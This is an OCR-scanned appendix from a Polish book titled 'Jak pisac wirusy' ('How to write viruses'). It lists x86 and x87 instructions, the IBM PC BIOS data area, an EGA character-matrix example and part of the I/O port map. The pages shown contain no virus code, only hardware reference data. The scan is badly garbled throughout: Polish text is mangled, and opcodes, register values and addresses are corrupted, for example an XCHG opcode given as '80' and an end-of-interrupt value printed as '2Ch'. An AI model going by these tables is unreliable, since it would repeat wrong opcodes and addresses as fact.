Kog Argumenty
rm,r
Opis: Rozkaz wymienia zawartoéc obu operandow i dodaje je do siebie.
Rozkaz: XCHG
Procesory: Wszystkie
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Znaczniki:
oD1 T8 2 A P C
5
!
Kod Arqumenty
86 t/m8,r8
86 r8,r/mg
87 /m16,116
87 r6,7/mif
87 1mdz,rd2
a7 r32 1/m32
80 AX,r16
a0 rig AX
80 EAX 132
a0 132, EAX
Opis: Rozkaz wymienia zawarteéé operanddw migdzy soba.
Rozkaz: XLATXLATB
Procesory: Wszystkie
Znaczniki:
D1 TS Z A P C
Kod Arqumenty
D7 XLAT m8
D7 XLATB
Opis: Rarkny farduje do rejestru AL zawartosd elementu tablicy. Przed wykonaniem rozkazu tabli-
ca jest wskazywana przez DS:{E)BX, a numer elemeniu znajduje sig¢ w AL. Mozna to zapi-
sac: AL ;= D5:[byte pir BX + AL]
Rozkaz: XOR
Progesory. Wszystkie
Znaczniki:
oD 1 T8 2 A P C
0 * * ? * U
Kod
30 r/mg,r8
N #m16,r16
31 rfm32,riz
32 18,r/mé
33 r16,/m16
33 r32,1/m32
34 At immb
35 AX imm16
35 EAXimm32
80/6 r’'mB,imm8
81/6 r/m16,mmi8é
8176 rfm32,imm32
836 riim16,imm8Rrm3z2,imms
83/6
Opis: Rozkaz oblicza sumeg symetryczng dla wszystkich odpowiadajacych sobie par bitow. Wynik
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jest zapisywany w pierwszym operandzie.
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20. Rozkazy 8087, 80287, 80387, 80486

Ten rozdziat jest dokariczeniem poprzedniego i zawiera spis rozkazow procesordw Intet 8087, 80287, 80387. i rozkazdw
procesora 80486 dziatajacych naliczbach zmiennopozyeyjnych. Opis rozkazu sklada sie z czterech czeser:

Nazwa. Mnemonik rozkazu
Argumenty: ST rejestr akiualnie na szczycie stosu
ST{y - rejesle iy na stosie (O<=i<=7)
Sr - liczba rzeczywista krétka (32 bity)
LA - liczba rzeczywista diuga (64 bity)
TR - liczba rzeczywista 80-bitowa
PD - spakowana liczba dziesietna (18 cyir, 10 bajtdw)
Wi - liczba catkowita 16 - bitowa
Sl - liczha catkowita 32 — bitowa
L - liczba catkowita 64 - bitowa
mB - ohszar pamiact majacy nn bajiow
Odstegpstwa:
15 niewlasciwe argumenty z powodu nadmiaru/niedomiar stosy
I niewlasciwe argumenty z innych przyczyn
D niewlasciwa operacja
Z - dzielenie przez 0
0 - nadmiar
U - niedomiar
P niedokfadny rezultat
Opis: Krétki opis dz|a+an|a rozkazu i jesli rozkaz nie jest wykonywany przez wszystkie procesory,
to nazwa procesora, do ktérego listy rozkazéw nalezy.
Nazwa: FABS
Argumenty: FABS
Odstgpstwa: | @P1=0pis:

Warlost beeweylgdna,

Nazwa. FADD
Argumenty: FADD jtzrodio/przeznaczenie, zrodie
HST STy
ST(ixET
SR
LR
Qdstgpstwa: 1,0,0UP
Opis: Dodaje liczby rzeczywiste.
Nazwa: FADDP
Argumenty: FADDP przeznaczenie, Ziddio ST().ST
Qdstepstwa: 1.D.OUP
Opis: Dodaje liczbe rzeczywistg | usuwa jg ze stosu.
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Nazwa: FBLD
Argumenty: FBLD ZrédloPD
Odstepstwa: | @P1 = Opis:
taduje liczbe dziesietng upakowang
Nazwa: FBSTP
Argumenty: FBSTP przeznaczenie DP
Odstepstwa: ! @P1 = Opis:
Zapamigtuje liczhg dzissletng upakowang 1 usuwa jg ze stosu.
Nazwa: FCHS
Argumenty: FCHS
Odstepstwa: i
Opis: Zmignia znak liczhy
Nazwa: FCLEX,FNCLEX
Argumenty. FCLEX FNCLEX
QOdstgpstwa; Zadne
QOpis: Zeryje znaczniki odstepstw.
Nazwa: FCOM
Argumenty: FCOM /fZrédio
H8TH)
SR
LR
Odstopstwa: L0
Opis: Pordwnuje liczby rzeczywiste.
Nazwa: FCOMP
Argumenty: FCOMP /i2rddto
HSTIi)
SK
LA
Qdstepstwa: 1,D
Qpis: Perdwnlije liczby rzeczywisle i usuwa wierzchotek stosu,
Nazwa: FCOMPP
Argumenty: FCOMPP
Qdstepstwa: 1D .
Qpis: Pardwnuje liczby rzeczywiste i usuwa j& ze stosu.
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Nazwa. FCOS

Argumenty: FCOS

Qdstepstwa: IS.I.0,U,P

Qpis: Cosinus ST(0).

Nazwa: FDECSTP

Argumenty: FDECSTP

Odstepstwa: Zadne

Opis: Zmniejsza wskaznik stosu.

Nazwa. FDISI,FNDISI

Argumenty; FDIS| FDNISI

Odslepstwa: Zadne

Opis: Wytacza przerwania.

Nazwa: FDIV

Argumenty: FDIV /f zr6dio / przeznaczenie, 2rodto
{#ST(i}, STSRLR

Odstepstwa: ,.DZOUP

Opis: Dzieli liczby rzeczywiste.

Nazwa: FDIVP

Argumenty: FDIP przeznaczenie, Zrédio
#ST(i) ST

Qdstepstwa: I,0Z0UP

Cpis: Dziali liczby rzeczywiste | usuwa ze stosu.

Nazwa: FDIVR

Argumenty. FDIVR #zrodlo/przeznaczenie, Zrodte
HST STV
ST, ST
SR
LR

- Odstepstwa: LD.Z0U.P

Qpis: Dzieli odwrotnie liczby rzeczywiste.

Nazwa: FDIVRP

Argumenty: FDIVRP przeznaczenie, Zrodio
ST().5T

Odstepstwa: 1,.0,Z.0UP

Opls: [ziell odwrotnis ficzby rzoeeywisle | usuwa 26 stosu.
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Nazwa: FENI,FNENI
Argumenty: FENI FNENI
Odstepstwa: Zadne
Cpls: Zezwala na przerwania.
Nazwa: FREE
Argumenty: FREE przeznaczenie ST(j)
Odstepstwa: Zadne
Opis: Zwalnia rejestt.
Nazwa: FIADD
Argumenty: FIADD Zradto

Wi

S
QOdstepstwa: ,D.oP
Opis: Dodaje liczby calkowite.
Nazwa: FICOM
Argumenty: FICOMP Zrddto

wi

Sl
QOdstepstwa; 1D
Opis: Foréwnuie liczby catkowite,
Nazwa: FIDIV
Argumenty: FIDW Zrddto

Wi

3l
QOdstepstwa: (,D.ZOLUP
Opis: Dzieli liczby cafkowite.
Nazwa: FIDIVR
Argumenty: FIDIVR Zrédio

Wl

]
Odstepstwa; L.DZOUFR
Opis: Dzieli odwrotnie liczby catkowite.
Nazwa: FILD
Argumenty: FILD Zridto

Wi
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LI
Odsiepsiwa: | @P1 = Opis:

taduje ficzbg catkowitq,
Nazwa: FIMUL
Argumenty. FIMUL Zrédto

Wi

]
Odstepstwa, ,C.OP
Opis: Mnozy liczbe catkowita.
Nazwa: FINCSTP
Argumenty: FINCSTP
Qdstepstwa: Zadne
Opis: Zwigksza wskaznik stosu.
Nazwa: FINIT,FNINIT
Argumenty: FINIT FNINIT
Odstgpstwa: Zadne
Opis: Inicializuje procesor.
Nazwa: FIST
Argumenty: FIST przeznaczenie

Wi

Sl
Odslgpstwa. 1P
Opis: Zapamietuje liczbg catkowita,
Nazwa: FISTP
Argumenty: FISTP przeznaczenie

Wi

]

L
Odslepstwa; tP
Opis: Zapamigtuje liczbe catkowilg f usuwa jg ze stosu.
Nazwa: FISUB
Argumenty: FISUB #rédio

Wi

]
(dstepstwa: I,D,0,F
Opis: Qdejmuje liczby catkowite.
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Nazwa: FISUBR
Argumenty: FISUBR Zradto
Wi
Sl
Qdstapstwa: I,DOP
Opis: Odejmuje cdwrotnle liczhy catkowite.
Nazwa: FLD
Argumenty. FLD zrgdio
ST
SR
LA
TR
Qdstgpstwa: 1.D
Opis: taduje ficzbe rzecrywisty.
Nazwa: FLDCW
Argumenty: FDLCW #rédlo
2 Bajty
Qdsigpstwa: Zadne
Opis: taduje slowo kontrolng.
Nazwa. FLDENV
Argumenty: FLDENV Zrédio 14 Bajtow
Odstepstwa: Zadne
Opis: taduje srodowisko.
Nazwa: FLDLG2
Argumenty: FLDLG2
QOdstepstwa; | @P1 = Opis:
{aduje logarytm dziesigtny z 2.
Nazwa: FLDLN2
Argumenty: FLDLNZ2
Cdstepstwa: | @P1 = Opis:
taduje logarytm naluralny z 2.
Nazwa: FLDL2E
Argumenty: FLOL2E
Odstepstwa: { @P1 = Opis:

Jak pisac wirusy
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Nazwa: FLDL2T
Argumenty: FLDL2T
Qdstepstwa: | @P1=0pis:
Laduje logarytm dwdjkowy 2 10.
Nazwa: FLDPI
Argumenty: FLOP?
Qdstepstwa: | @P1 =Opis:
Laduje liczbe Pi.
Nazwa: FLDZ
Argumenty. FLDZ
Odstgpstwa: | @P1 = Opis:
taduje liczbe +0.0.
* Nazwa: FLDA
Argumenty: FLD1
Odstepstwa: I @P1 = Opis:
taduje liczbe +1.0,
Nazwa: FMUL
Argumenty: FMUL // 2réelio / przeznaczenie, Zradlo
{#8T(i), ST/ST, ST}
SR
LA
Odstepstwa: ID,OUP
Opis: Mnozy liczby rzeczywiste.
Nazwa: FMULP
Argumenty: FMULP przeznaczenie, Zrodio
ST(1),ST
Qdstepstwa: 1,.0,O,UP
Opis: Mnozy liczby rzeczywiste i usuwa je ze stosu.
Nazwa: FNOP
Argumenty: FNOP
Odstepstwa: Zadne
Qpls: Instrukcja pusta.
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Nazwa: FPATAN
Argumanly: FPATAN
Odstgpstwa; u,P
Opis: Czesciowy ArcusTangens,
Nazwa: FPREM
Argumenty: FPHREM
Cdstepstwa: (N fd
Opis: Czesciowa reszta.
Nazwa: FPREM1
Argumenty: FPREM1
Odstepstwa; 1,0,U
Qpis; Czedciowa reszta.
80387
Nazwa: FPTAN
Argumenty: FPTAN
Odstepstwa: P
Opis: Czesciowy tangens.
Nazwa: FRNDINT
Argumenty: FRNDINT
QOdstepstwa; I,
Opls: Zaokiadla do lczhy calkowite].
Nazwa: FRSTOR
Argumenty: FRSTOR zrodio
94 Bajty
Odstepstwa Zadne
Opis: Laduje zapamigtany stan.
Nazwa: FSAVE,FNSAVE
Argumenty; FSAVE/FNSAVE przeznaczenie
94 Bajty
Odstepstwa: Zadne
Opis: Zapamigtuje stan.
Nazwa: FSCALE
Argﬂmenty: FSCALE
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Odstepstwa: 1,O,U
Opis: Skaluje.
Nazwa: FSETPM
Argumenty: FSETPM
Odstepstwa: Zadne
Opis; Przejd? w tryl wirlualny.
80287
Nazwa: FSIN
Argumenty: FSIN
Odstepstwa: IS51,b,UP
Opis: Sinus ST(0). 80387
Nazwa: FSINCOS
Argumenty: FSINCOS
Odstapstwa: 1S,1,0,U,P
Opis: Sinus i cosinus STIO).
80357
Nazwa: FSQRT
Argumenty: FSQART
Qdstepstwa: 1,0,P
Opis: Piarwiastek kwadratowy,
Nazwa. FST
Argumenty: FST przeznaczenie
STii)
SR
LR
Odstepstwa. L,O,UP
Opis: Zapamietuje ficzhe rzeczywista.
Nazwa: FSTCW,FNSTCW
Argumenty: FSTCW/FNSTCW przeznaczenie
2 Bajty
Qdstepstwa; Zadne
Opis: Zapamigtuje stowo kontrolne.
Nazwa: FSTENV,FNSTENV
Argumenty: FSTENVY/FNSTENY przeznaczenie 2 Bajty
Odstepstwa: Zadne
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Qpis: Zapamigtuje Srodowisko.
Nazwa: FSTP
Argumenty; FSTP przeznaczenie
ST()
SH
LR
TR
Odstopstwa: ReRVAY
Qpis: Zapamietuje liczbe rzeczywisla i uslwa | ze stosu.
Nazwa: FSTSW,FNSTSW
Argumenty: FSTSW/FNSTSW przeznaczenie
2 Bajty
Odstepstwa: Zadne
Opis: Zapamietuje stowo stanu.
Nazwa. FSTSW AX,FNSTSW AX
Argumenty: FSTSW/FNSTSW przeznaczenie
AX
Odstepstwa: Zadne
Opis: Zapamietuje stowo stanu do AX,
Nazwa: FSUB
Argumenty. FSUB /firédio/przeznaczenie, Zrédto
#ST.ST(Y
ST{i3,ST
SR
LR
Odstepstwa: L.D.OUP
Opis: Odejmuje liczby rzeczywiste.
Nazwa: FSUBP
Argumenty: FSUBP przeznaczenie, Zrodio
ST(i),S7
Odstepstwa. ,D,OUP
Opis: QOdejmuie liczbig rzeczywisty | usuwa jq ze stosu.
Nazwa: FSUBR
Argumenty: FSUBR #fzricha/przeznaczenie, Zrodto

Jak pisac wirusy
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Odstepstwa:

1,.D,OUP
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Opis: Qdejmuje odwrotnie czby rzcezywiste.
Nazwa: FSUBRP
Argumeniy: FSUBRP przeznaczenie, Zrddio
ST(),5T
- Qdstepstwa: 1D.0UP
Opis: Odejmuje odwrotnie liczbe rzeczywisty | usuwa jg ze stosu.
Nazwa: FTST
Argumenty: FTST
Qdstepslwa: .0
Opis: Sprawdza, czy wierzcholek stosu = +0.0,
Nazwa: FUCOM
Argumenty: FUCOM Zrodto
HST(i)
Odstepstwa: 1S,1.0
Opis: Pordwruje.
80387
Nazwa: FUCOMP
Argumenfy: FUCOMP Zradio
HST()
Odstepstwa: 15,1,0
Opis: Pordwnuie | usuwa ze stosu.
80387
Nazwa: FUCOMPP
Argumenty: FUCOMP
Odstepstwa: 15,1,.0
Opis: Poréwnuje i usuwa dwukrotnie ze stosu,
80387.
Nazwa: FWAIT
Argumenty: FWAIT
Cdstepstwa: Zadne
Opis: CPU czeka, gdy 80x87 jest zajgly.
Nazwa: FXAM
Argumenty: FXAM
Odstepstwa: Zadne
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Opis: Sprawdza wierzchotek stosu.
Nazwa: FXCH
Argumenty: FXCH /fprzeznaczenie
ST
Odstepstwa: | @P1 = Opis:
Wymienia rejestry.
Nazwa: FXTRACT
Argumenty: FXTRACT
Odstepstwa: | @P1 =Opis:
Rozdziela ceche i mantyse.
Nazwa: FYL2X
Argumenty: FYL2X
Odstapstwa: P
Opis: Y*logarytm dwojkowy z X,
Nazwa: FYL2XP1
Argumenty: FYLZXP1
Odstegpstwa: P
Opis: Y*logarytm dwdkowy z (X+1).
Nazwa: F2XM1
Argumenty: F2XM1
Odstepstwa: UP
Qpis: 27%-1.
Zmienne systemowe

Ponizsza mapa zawiera wigkszosé zmiennych systemowych IBMBIOS. Wszystiie te zmienne sq udokumentowane i beda
wystepowac w przysztych wersjach systemu. Zmienne, ktére nle znalazly sig w tabeli sa zarezerwowane przez BIOS i system
operacyjny. Mapa jest podzieiona na grupy funkcjonalne oddzislone pustymi liniami. Symbol AT oznacza, iZ dana zmienna
odnos! sig do kemputora Klasy co najmnigj AT. Symbal <Jr=6znacza komputer PCjr

Zwrol uwage, 17 zmignne te sg adresowane w stosunku do segmenty 0000h, ale réwniez mozna je adresowad w stosunku
do segmentu 0040h. Wigkszodé programistéw stosuje jednak pierwszy sposdb. Umieszczenie w segmandie DS wartosci 0

moina osiagnag przez
AR XOR AX,AY
MOV DS, 2X

& wartodci 4Gh
MOV AX, 40h
MOV D3, 2X

Teraz jedli przypomnisz sobie, to co méwiliémy ¢ instrukciach XOR | MOV, wiesz dlaczego pierwszy sposéb jest
preferowany.
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Adres Rozmiar Zawartodé

0:0400 2 Bazowy adres poriu pierwszego zigeza RS-232 (COM1).

0:0402 2 Port COM2.

0:0404 2 Port COM3.

0:0408 2 Port COM4.

0:0408 2 Bazowy adres pierwszego zigeza drukarki{LPT1),

(:040A 2 Port LPT2.

0:040C 2 Port LPT3

(:040E 2 Porl LPT4

0.0410 9 | Lsta sprzgtu w'ﬁéhﬁﬁmerze, Lista jest sporzgdzana wediug poni2szego formatu.
Taka sama lista jest zwracana po przerwaniu $1h w AX,

Zai52my, iz lista sprzetu znajduje sie w rejestrze AX. Poszezegdlne pola maja znaczenie fak jak ponize), Sposob dostgpu
4 dolychpdl jest podany obok. Symbol & oznacza, i chcemy wykonaé operacig AND z podang obok maska. Jesl pamigtasz
| opis instrukeii AND to wiesz, ze np aby sprawdzié, ¢czy komputer ma koprocesor nalezy wykonac nastepujace operacie:

AND AX,0002H
JNE koprocesor zainstalowany
JMP  Brak koprocesora

FEDCB A S8 87 65 4 3 2 1

E ax | oy | vid {ram|7] | maska
E | 0: 0= Brak stacji dyskdw {AX & 0001H)
... 1: 8087 koprocessor {AX & 0002H)

2-3: pamigé RAM phyty gtdwnej {AX & 000eH)
01=16K; 10H=32K; 11H=64K+
4-5: aktywny tryb graficzny {AX & 0030H)
00=mazliwa EGA (nie zawsze wiarygodne) 01=40-
kolumn kolor 10=80-kolomn kolor 11=TTL
Monochromatyczny
6-7: Catkowita liczba napeddw {AX & 0OCOH)
00=1; 01=2; 10=3; 11=4
8: Obecnodé DMA {AX & 0100H)
8-11: Porty R5232 {AX & 0e00H)
(00=brak; 00i=1; ... 111=7
12: 1=0becnosc karty GAME {AX & 1000H)
13 1= Drukarka szeregowa
14-15: Zainstalowane drukarki (AX & c000H)

— - . DO=brak; 01=1; 10=2; 11=3

; Adres Rozmiar Zawartoss
. 42 i Bledy klawiatury <Jr>

ek B:0413 ? Catkowity rozmiar pamigct w KB{Taki jak po przeneaniu 12h w AX).

' (10415 2 Zmienna przejsciowo uzywana przy testowaniu bleddw sprzetowych.

1. Zmienne okrestajace stan kawiatury. Poszczegdine pola maja nastgpujace
|- G047 2 znaczenie:{ Pierszy bajt jest taki sam jak zwracany przez rejestr Al po przerwaniu
16h funkcja 02).
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5

4

3 2 t 0
I I | C ‘ N lS [ a ‘ ¢ ]sL | SH‘ {Niech AL zawiera ten bajt) maska
[ o Prawy Shift weisniety (AL & O1H)
1: Lewy Shift weidnigty {AL & 02H)

2: Ctil weisniety({lewy lub prawy) (AL & 04H)
3: Alt weisnigly {lewy lub prawy) (AL & 08H)

S 4: Scrolilock zapalony (Al & 10H)
5: Numlock zapalany (AL & 20H)
6. CapsLock zapalony (AL & 40H)
7. Stan INSERT (AL & BOH}
7 6 5 4 3 2 1 0
ite|n|s Sy | aL__[.cL [ {Niech AL zawiera ten bajt) maska
0: Lewy Clrl weisnigty (AL & 01H)
L1 Lewy All wcisniaty (AL & 02H)
2 SysHeg wcisnigty (AL & 04H)
L 3 Stanprzerwy (AL & 08H}
4: ScrollLock weisnisty (AL & 10H)
5: NumLock weisniety (AL & 20H)
6: Capstock wcisnigty (AL & 40H)
_ T:Insernt woisnigty (AL & 80H)

Zwrod uwage, iz bity 0-2 sg 2definiowane tylko dia klawiatury 101-Kawiszowe|.

Przerwanie 16h funkcja 02 zwraca w rejestrze AL warto$c zgodna 2 pierwszym bajtem. Formal drugiege bajtu jest jednak
inny niz tuta]. Po szczegdty zajizyj do opisu przerwania.

Niektdre starsze programy zmieniajg wartosci odpowiednich pdl w celu zmiany jakiegos stanu (Np. zapaleria Caps Lock).

Adres Rozmiar Zawartosé
0:0419 1 Bia7aon warnsé pantdn kiawisza alt+kdawisz numeryczny. Normalnie Q.
0:041a 2 Adrl;s glowy bufora klawiatury.
0:041¢c 2 Adres ogona bufora klawiatury.
0:041e 20H Bufor klawiatrury. BIOS pamieta tutaj 20H nacisnigtych kiawiszy.
0:043¢ 1 Naped dyskowy potrzebuje rekalibracji (it 0=A, bit 1=B, itd.).
- 0:043f 1 Siinik sta-cji dyskow pracuje (bit O=naped A, bit 1=B, itd.}.
0:0440 1 Czas do wyi;c;a;nia silnika. Przerwanie 08h wytgcza motor gdy = 0.
0:0441 1 Kod bigdu dyskowego. Taki sam jak ostatnio zwrdcony przez przerwanie 13h, "
0:0442 7 Obszar informacgii dla kontrolera napedu dysku.
0:044% 1 | Aktywny tryb graficzny. (Patrz opis przerwania 10h).
0:044z 2 Szerokose ekranu w kolumnach,
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Adres Rozmiar Zawartosd
0:044c 2 Wielkasc | w bajtach ) pamieci ekranu,
1 {0442 2 Offset pamigei w stosunku do poczatku pamigei obrazu.
?‘ | 00450 104 Pofozenis kursora { 8 par kolumns,wiersz ).
_-: }f 0:0460 2 Keatait Kursora § pocza_ttek i koniec ).
(0462 1 Numer akiywnej strony karty graficzne;.
0:0463 2 Adres portu kontrolera graficznego 6845 ( Palrz porty CGA ).
(0:0465 1 Aktualna zawartoéd w kontrolerze 6845 CRT_MODE(rejestr portu 3x8H).
00466 1 Aklualna zawartosé w kontrolerze 6845 CRT_PALETTE {port 3x9H rej.).
0:0467 5 Obszar danych magnetofonu lub POST {palrz Start systemu).
(r04d6c 4 Liczba takidw zegara {takiuje co 55ms od startu),
0:0470 1 Wskaznik nadmiaru zegara{po 24 godzinach rieprzerwangj pracy)
0:0471 1 Wskaznik Ctrl-Break . Gidy wisnigte to ustawiony jest bit 7.
Wartod¢ 1234H w gch komorkach oznacza, 2a trwa wiadnie restart po weiénigeiu
b 0:0472 2 |Ctri+Alt+Del]. BIQS sprawdza tg wartos¢ by unkngé niepotrzebnego
wywolywania POST.
5 0:0474 4 Obszar kontrolny dyskietki lub dysku twardego AT,
{0475} Liczha dyskow twardych AT,
0.0478 4 Wartosci czasowe zlacza réwnolegiego drukarki.
0:047¢ 4 Wartodci czasowe ztgcza RS-232.
0:0480 2 Offset poczgtku bufora kawiatury AT (zwykie 01eH).
0:0482 2 Oifset korica bufora klawiatury AT {zwykle 003eH).
0:0484 1 lloé wierszy w jednym znaku karty EGA.
0:0485 2 Hosé bajtéw na 1 znak w karcle EGA
0:0487 1 Ré2ne informacie karty EGA. odpowiednie pola oznaczaja:
{: 1=kursor waczony.
1: 1=Wydwietlanie Monochromatyczne.
2: 1=Dozwolony zapis do pamigei ekranu.
3. 1=EGA nie jest akiywna
5-6: pamigé RAM karly EGA(00=84K; 01=128K; 10=192K; 11=246K)
7: ekran hie jest wyczyszczony
(0:0488 1 Rozne informacie karty EGA cd. Od'pbwiednie pola oznaczajg;
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Adres Rozmiar Zawartosé
0-3: Stan przetacznikdw na karcie EGA (z tylu komputera).
4-7. Bity cech,
0:0490 1 AT Bity stanu dysku dia napedu 0 (Uzywany dia stacji gestych).
{0:0491 1 AT Bily stanu dysku dla napedu 1 .
(00492 1 AT Wskaznik trwania operacii dyskowych dla napgdu 0.
0:0493 i AT Wskazinik trwania operacji dyskowych dia napedu 1.
0:0494 1 AT numer aktualnego cylindra dia napedu 0.
(:0485 1 AT numer akiualnege cylindra dia napgdu 1.
0:0448 1 Klawiatura AT bit 4=1 (10H) jesli jest podtgczona klawiatura 101.
0:0497 1 Znacznik zamknielej kluczem klawiatury AT. Patrz przerwanie 15h funkeia 86h
0:0498 4 AT Adres wskaZnika opdZnienia uzytkownika
0:049¢ 4 AT Mikrosekundy do korica czekania,
0:0420 , AT wskaZnik opdZnienia uzytkownika,
: 1= zajete, 80H = zgloszone, 0 = zalwierdzone
0:04a1 7 Zarezerwowane dla kart sieciowych AT
Adres EGA(VGA) SAVE_PTR. Wskazuje na adres danych karty GA. Mozesz
zmieniad ten adres tak, aby wskazywal na obszar, w ktdrym zdefiniujesz swojg
0:0428 4 wiasng matryce znakow i inne parametry. Zwykle postepuje sie w ten sposdb, ze
A4 kopiuje sig le dane w inne migjsce, dokonuje odpowiednich zmian i w tej zmienne;
umieszcza adres nowych danyeh. Rozmieszezenie danych kary EGA(VGA)
znajdziesz na korcu mapy.
0:0410 10H Obszar komunikacji migdzy réznymi programami.
0:0500 1 Status drukowania ekranu.
' 00H=ok; 01H =trwa drukowanie; OffH = bfad podezas druku,
Status Fantom dysku. W systermach o jednej stacji dyskow odwofania do napedu b
0:0504 1 sg obstugiwane przez ta stacje. Jesl zmienna ta ma wartosc rdwng 1 to stacja jesi
identyfikowana przez b:
0:0510 11H Uzywane przez interpreter BASICA.
0:0630 3 Lzywane przez instruksje MODE.
1000:ff0 5 FAR JMP dao rozpoczecia POST. Po zimnym restarcie {Sygnat Reset do
‘ procesora) nastepuje skok ped ten adres.
fOOC:Hf5 ] Data wyprodukowania ROM BIQS w ASCI
f000:iffe 2 (nieuzywane}.

iy g s S

Jak pisac wirusy

Strona:117

T




117

Adres Hozmuar Zawarosd

Typ komputera IBM (nie zawsze wiarygodne).
OffH = PC
OfeH = XT lub przenasny PC
0OfdH = PCjr
{000:fffe 1 OfcH = AT

OfbH = XT z 640 Kb na plygie glownej.
OfaH=P5/2 Model 30

0f3H = Klon PC

0f8H=P5/2 Model 80

1 Obszar danych karty EGA(VGA):

QOifs Rozmiar
+) 4 offset segment | Adres tablicy parametrdw EGA.
+4 4 offset msegment Adres obszaru parametréw dynamicznych VGA.
+B 4 w“;ﬂ{set segment | Adres informaci o znakach trybu tekstowego.
+0cH 4 offset segment | Adres informacji o znakach trybu graficznege.
+10H 4 offset segment Adres cbszaru parametréw dynamicznych VGA
+14H OCH “ Zarezerwowane
Tahlica paremefrow EGA:

& Tatablica musiistnieé. Poczatkowo wskazuje na ROM. Tablica powinna miec 1472 bajty diugosci po 64 na kazdy z 23(17h}
§ Ibow graficznych. Tabeta ta shuzy do wewngirznego wykorzystania przez kartg EGA.

Obszar paramelréw dynamiczaych:

: . Tabela opejonalna gy ustawiona na 0000:0000 nie Jest wykorzystywana. Wskazuje na kopie waznych danych znajauja-
g oeh sig w reigstrach karty EGA.

Offs  § Rozmiar Zawartosé
+0 10H Warlosci 16 rejesirdw
» kolordw.
+10H - 1 Zawartodd rejestru kolaru
ramki.
+11H QefH Zargzerwowane.

. hiomace o znakach trybu tekstowego:

- Teheln opcjonalna. Jesli wskazuje na 0000:0000 to jest ignorowana, Wskazuje na informacie stuzgce do generacii réZnych
b sotycznych znakéw, np. polskich znakéw diakrytycznych, Mozesz tej zmiennej uzywad aby zainstalowaé polskie znaki na
- $wim komputerze,
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Cffs Rozmiar Zawartosé
+Q i Liczha bajtéw na znak w definicjl znakdw.
+1 1 Liczba blokdw pamigei RAM do zatadowania (0 dla normalne] operacii).
+2 o Liczba znakow do zmiany {Normalnie wszystkie 256}
+4 9 Pierwszy zmieniany znak (Normalnig 0: wszystkie znaki).
6 4 Adres matrycy znakdw. Matryea znakdw jest to obszar 266 8-, 14- lub 16-bajtowych grup
- | 7| definiujacych ksztat znakdw. Patrz ponizej.
flose wierszy, kidre mozna wyswietlic na ekranie, Podanie 0fiH powoduje, ze BIOS sam to
+0aH ! ustala.
+0bH 1.2 1 lub wigcej bajtéw definijgeych dia ktdrych trybdw graficznych definiujemy znaki. Na koricu
' listy umiedc wartosé Offh.

Informacje o znakach trybu graficznego :

Tabela opcjonalna. Jegh ustawiona na 0000:0000 to jest ignorowana. Zawiera dane, uzywane do generowania matrycy

2nakaow w trybie graficznym.
Offs Rozmiar Zawartosd
+0 i Liczba wierszy, ktdre moina wyswietlié na ekranie.
+1 2 Liczba bajtdw na delinicjg ksztattu znaku.
+4 2 Adres malrycy znakow.
) 1 fubr wigce] bajtow okreslajacych, dla kidrych trybow graficznych definiujemy znaki.
+7 - Zakeoriczone liczbg OFFh.

Jak pisac wirusy
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{ Dsfiniowanie matrycy Znakow

Zalézmy, iz cheesz zdefiniowat literg £ w irybie 14°8. Mozesz 3 zaprojektowac w nastepujacy sposdh:

_ -.:: | Toraz przepisz projekt tej Hery zastgpujac puste pola przez 0, a pola zamalowane przez 1. Bedzie to wygladalo mnigj
3 e tale

0o 000 0 0 09O
00000 0 0 0
o1 1 1 1 1 11
0 0t 000 0 1
0 01 00 0 0 1
0 01001 00
g o1 11100
0o 01 001 0 0
0 01 00 0 0 1
9 01 0 0 0 01
o011 1 1 1 11
6 00001 00
0 000 1 0 00
o 000 0 1 1 1

_ b Ovzymales cigg 14 liczb zapisanych w systemie dwajkowym. Jedyne, co musisz jeszcze zrobic, to zamienic te liczby na
A fystem szesnastkowy lub dZiesigtny. W naszym przypadku bedzie to:

‘4 - wesnastkowo: 00,00,7F 21,21,24,3C 24,21,21,7F 04,08,07

- - tzeslginie: 0,0,127,33,33,36,80,36,33,33,127,4.8,7

4 Take wartosci powinny mied bajty definiujace ksztalt znaku w matrycy.

3 Opréez zmiany powyzszych tabel, matryce znakéw mozesz zmieniad przy pomocy funkej 11h przerwania 10h. Matryca dla

.~ "4 wakbw o kodach wigkszych niz 7Fh est wskazywana przez wektor przerwania 1Fh.
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Mapa portéw komputera PC/XT/AT

Ponizej znajduje sig mapa portdw wejScia/wyjécia komputerdw klasy PCIXTIAT. Znaczenie i sposh programowania
niektdrych portdw jest opisany przy adresie portu. Opis niekidrych portéw zajmuje tyle migjsca, ze umieszczenie go w tabelce
popsuioby jej czyteinosé. Sq one wige opisane w nastepnych paragrafach. Przy takich portach znajduje sie odnosnik
informujacy gdzie nalezy szukaé dedatkowych informagii.

Porty 000H-0ifH s uzywane dia celéw wewnglrznych karty gldwne]
Portty 100H-3ffH sg wykorzystywane do wspéipracy z kartami.
Porty powyzej 400H nie sq dostgpne z karty giéwne.

<AT>:  000-01f PCIXT: 000-00f
Opis: DA kontrolier #1, 8237A-5.

Pairz: Porly DMA.

<AT>  020-03f PCIXT: 020-621
Opis: Kontroler przerwan, 8258A.

Kantroler przerwan stuzy do obstugi przerwari sprzglowych zglaszanych przez takie urzadzenia jak zegar czasu rZecTywis-
tego, czy klawiatura. Kazdemu z tych urzadzen jest przyperzadiowany poziom mu odpowiadajacy, jesli zostang zgtoszons
townoczesnie przerwania z kilku urzadzer to zostanie najpierw wykonane przerwanie ¢ nizszym poziomie. Przykiadowo,
zegar czasu rzeczywistego ma poziom 0 (0znacza si¢ to przez IRQO}. Tak wige przerwanie zegarowe{08h) jest wykonywane
zawsze co okreslony czas. W naszym przypadku co 55 ms. Z Twojego punkiu widzenia wazne jest to, ze uklad 8259A Zada,
aby poinformowad go o koricu przerwania sprzetoweqo, Jesli wige choesz przechwycié kidres z tych przenwan do swoich
celéw, na karicu procedury obstugujacej je musi sig znale7é sekwencja:

mov al,2Ch
out  20h,al
<AT>  (40-05f PC/XT: 040-043
Opis: Programowany licznik 8253-5 (AT: 8254.2).
Z punktu widzenia programisty ten licznik ma mate zastosowanie. Po dokladny opis patrz [10].
- PCXT: 040
Opis: PP! (Programmable Peripheral Interface~ Programowaine ztacze peryferyjne) port A.

Zawiera kod cstatnio naciénigtego klawisza. Jest on wykorzystywany przez przerwanic 0Sh. Wewnatrz procedury cbslugi
tego przawania znajduje sie instrukeja IN al 80H

PCG/XT: 081

Opis: PP!port B.
Znaczenie poszczegdinych bitdw jest nastepujgce:
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0. 1:03H=Glodnik wiagzony. Tylko w ten Sposdh mo2esz programowad
| . whudowany ghoénik [BM-a.

31=Cayta) gome ustawienie przetaezniktw.

